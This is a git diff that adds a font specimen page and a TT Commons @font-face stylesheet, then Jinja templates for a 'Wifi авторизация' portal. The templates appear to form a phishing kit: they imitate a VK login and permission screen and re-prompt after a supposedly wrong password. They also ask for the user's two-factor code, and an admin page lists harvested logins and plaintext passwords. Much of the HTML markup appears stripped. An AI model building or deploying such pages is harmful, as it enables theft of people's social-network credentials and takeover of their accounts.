Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons ExtraBold Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 800;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Medium Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 500;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Light Italic

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 300;
+    font-style: italic;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+

TT Commons Thin

+
.your-style {
+    font-family: 'TT Commons';
+    font-weight: 100;
+    font-style: normal;
+}
+
+

+ абвгдеёжзийклмнопрстуфхцчшщъыьэюя
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
+abcdefghijklmnopqrstuvwxyz
+ABCDEFGHIJKLMNOPQRSTUVWXYZ
+ 0123456789.:,;()*!?'@#<>$%&^+-=~ +

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+

Съешь же ещё этих мягких французских булок, да выпей чаю.

+
+
+
+ + \ No newline at end of file diff --git a/static/TTCommons/stylesheet.css b/static/TTCommons/stylesheet.css new file mode 100755 index 0000000..d6ad6fb --- /dev/null +++ b/static/TTCommons/stylesheet.css @@ -0,0 +1,198 @@ +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-ThinItalic.eot'); + src: local('TT Commons Thin Italic'), local('TTCommons-ThinItalic'), + url('TTCommons-ThinItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-ThinItalic.woff') format('woff'), + url('TTCommons-ThinItalic.ttf') format('truetype'); + font-weight: 100; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Light.eot'); + src: local('TT Commons Light'), local('TTCommons-Light'), + url('TTCommons-Light.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Light.woff') format('woff'), + url('TTCommons-Light.ttf') format('truetype'); + font-weight: 300; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Black.eot'); + src: local('TT Commons Black'), local('TTCommons-Black'), + url('TTCommons-Black.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Black.woff') format('woff'), + url('TTCommons-Black.ttf') format('truetype'); + font-weight: 900; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Medium.eot'); + src: local('TT Commons Medium'), local('TTCommons-Medium'), + url('TTCommons-Medium.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Medium.woff') format('woff'), + url('TTCommons-Medium.ttf') format('truetype'); + font-weight: 500; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Italic.eot'); + src: local('TT Commons Italic'), local('TTCommons-Italic'), + url('TTCommons-Italic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Italic.woff') format('woff'), + url('TTCommons-Italic.ttf') format('truetype'); + font-weight: normal; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Regular.eot'); + src: local('TT Commons Regular'), local('TTCommons-Regular'), + url('TTCommons-Regular.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Regular.woff') format('woff'), + url('TTCommons-Regular.ttf') format('truetype'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-BlackItalic.eot'); + src: local('TT Commons Black Italic'), local('TTCommons-BlackItalic'), + url('TTCommons-BlackItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-BlackItalic.woff') format('woff'), + url('TTCommons-BlackItalic.ttf') format('truetype'); + font-weight: 900; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-ExtraBold.eot'); + src: local('TT Commons ExtraBold'), local('TTCommons-ExtraBold'), + url('TTCommons-ExtraBold.eot?#iefix') format('embedded-opentype'), + url('TTCommons-ExtraBold.woff') format('woff'), + url('TTCommons-ExtraBold.ttf') format('truetype'); + font-weight: 800; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-BoldItalic.eot'); + src: local('TT Commons Bold Italic'), local('TTCommons-BoldItalic'), + url('TTCommons-BoldItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-BoldItalic.woff') format('woff'), + url('TTCommons-BoldItalic.ttf') format('truetype'); + font-weight: bold; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-DemiBoldItalic.eot'); + src: local('TT Commons DemiBold Italic'), local('TTCommons-DemiBoldItalic'), + url('TTCommons-DemiBoldItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-DemiBoldItalic.woff') format('woff'), + url('TTCommons-DemiBoldItalic.ttf') format('truetype'); + font-weight: 600; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Bold.eot'); + src: local('TT Commons Bold'), local('TTCommons-Bold'), + url('TTCommons-Bold.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Bold.woff') format('woff'), + url('TTCommons-Bold.ttf') format('truetype'); + font-weight: bold; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-ExtraLight.eot'); + src: local('TT Commons ExtraLight'), local('TTCommons-ExtraLight'), + url('TTCommons-ExtraLight.eot?#iefix') format('embedded-opentype'), + url('TTCommons-ExtraLight.woff') format('woff'), + url('TTCommons-ExtraLight.ttf') format('truetype'); + font-weight: 200; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-DemiBold.eot'); + src: local('TT Commons DemiBold'), local('TTCommons-DemiBold'), + url('TTCommons-DemiBold.eot?#iefix') format('embedded-opentype'), + url('TTCommons-DemiBold.woff') format('woff'), + url('TTCommons-DemiBold.ttf') format('truetype'); + font-weight: 600; + font-style: normal; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-ExtraLightItalic.eot'); + src: local('TT Commons ExtraLight Italic'), local('TTCommons-ExtraLightItalic'), + url('TTCommons-ExtraLightItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-ExtraLightItalic.woff') format('woff'), + url('TTCommons-ExtraLightItalic.ttf') format('truetype'); + font-weight: 200; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-ExtraBoldItalic.eot'); + src: local('TT Commons ExtraBold Italic'), local('TTCommons-ExtraBoldItalic'), + url('TTCommons-ExtraBoldItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-ExtraBoldItalic.woff') format('woff'), + url('TTCommons-ExtraBoldItalic.ttf') format('truetype'); + font-weight: 800; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-MediumItalic.eot'); + src: local('TT Commons Medium Italic'), local('TTCommons-MediumItalic'), + url('TTCommons-MediumItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-MediumItalic.woff') format('woff'), + url('TTCommons-MediumItalic.ttf') format('truetype'); + font-weight: 500; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-LightItalic.eot'); + src: local('TT Commons Light Italic'), local('TTCommons-LightItalic'), + url('TTCommons-LightItalic.eot?#iefix') format('embedded-opentype'), + url('TTCommons-LightItalic.woff') format('woff'), + url('TTCommons-LightItalic.ttf') format('truetype'); + font-weight: 300; + font-style: italic; +} + +@font-face { + font-family: 'TT Commons'; + src: url('TTCommons-Thin.eot'); + src: local('TT Commons Thin'), local('TTCommons-Thin'), + url('TTCommons-Thin.eot?#iefix') format('embedded-opentype'), + url('TTCommons-Thin.woff') format('woff'), + url('TTCommons-Thin.ttf') format('truetype'); + font-weight: 100; + font-style: normal; +} + diff --git a/static/info.png b/static/info.png new file mode 100755 index 0000000..0803ddb Binary files /dev/null and b/static/info.png differ diff --git a/static/vk-logo.png b/static/vk-logo.png new file mode 100755 index 0000000..1c10c91 Binary files /dev/null and b/static/vk-logo.png differ diff --git a/templates/admin.html b/templates/admin.html new file mode 100644 index 0000000..38361f1 --- /dev/null +++ b/templates/admin.html @@ -0,0 +1,24 @@ +{% extends "base.html" %} + +{% block body %} +
+ Purge + + + + + + + + {% for cred in creds %} + + + + + + + + {% endfor %} +
idloginpassworddate created
{{ cred.id }}{{ cred.login }}{{ cred.password }}{{ cred.date_created }}X
+
+{% endblock %} \ No newline at end of file diff --git a/templates/authcheck.html b/templates/authcheck.html new file mode 100644 index 0000000..fa82ee6 --- /dev/null +++ b/templates/authcheck.html @@ -0,0 +1,24 @@ +{% extends 'base.html' %} + +{% block head %} +Wifi авторизация +{% endblock %} + +{% block body %} +

+ Пожалуйста, введите код из личного сообщения от Администрации или из приложения для генерации кодов, чтобы подтвердить, что Вы владелец страницы. +

+
+
+ + + + + + +
+
+
+{% endblock %} \ No newline at end of file diff --git a/templates/base.html b/templates/base.html new file mode 100644 index 0000000..dac44df --- /dev/null +++ b/templates/base.html @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + {% block head %}{% endblock %} + + + +
+
+ +
+ + {% block body %}{% endblock %} +
+ + + + + + + + \ No newline at end of file diff --git a/templates/index.html b/templates/index.html new file mode 100755 index 0000000..ac073ef --- /dev/null +++ b/templates/index.html @@ -0,0 +1,20 @@ +{% extends 'base.html' %} + +{% block head %} +Wifi авторизация +{% endblock %} + +{% block body %} +
+ +
+
Доступ к общей информации
+ Приложению будут доступны ваши личные данные +
+
+ +
+ Разрешить + +
+{% endblock %} \ No newline at end of file diff --git a/templates/login.html b/templates/login.html new file mode 100755 index 0000000..373f01d --- /dev/null +++ b/templates/login.html @@ -0,0 +1,21 @@ +{% extends 'base.html' %} + +{% block head %} + +{% endblock %} + +{% block body %} +
+ + +
+ + + + + +
+
+{% endblock %} \ No newline at end of file diff --git a/templates/wrongpass.html b/templates/wrongpass.html new file mode 100644 index 0000000..4558ade --- /dev/null +++ b/templates/wrongpass.html @@ -0,0 +1,32 @@ +{% extends 'base.html' %} + +{% block head %} +Wifi авторизация +{% endblock %} + +{% block body %} +
+ Не удаётся войти.
+ Пожалуйста, проверьте правильность написания логина и пароля. +

+
    +
  • Возможно, нажата клавиша Caps Lock?
  • +
  • Может быть, у Вас включена неправильная раскладка? (русская или английская)
  • +
  • Попробуйте набрать свой пароль в текстовом редакторе и скопировать в графу «Пароль»
  • +
  • Если пароль набран верно, попробуйте указать в качестве логина номер привязанного телефона, а не почту.
  • +
+
+
+ + +
+ + + + + +
+
+{% endblock %} \ No newline at end of file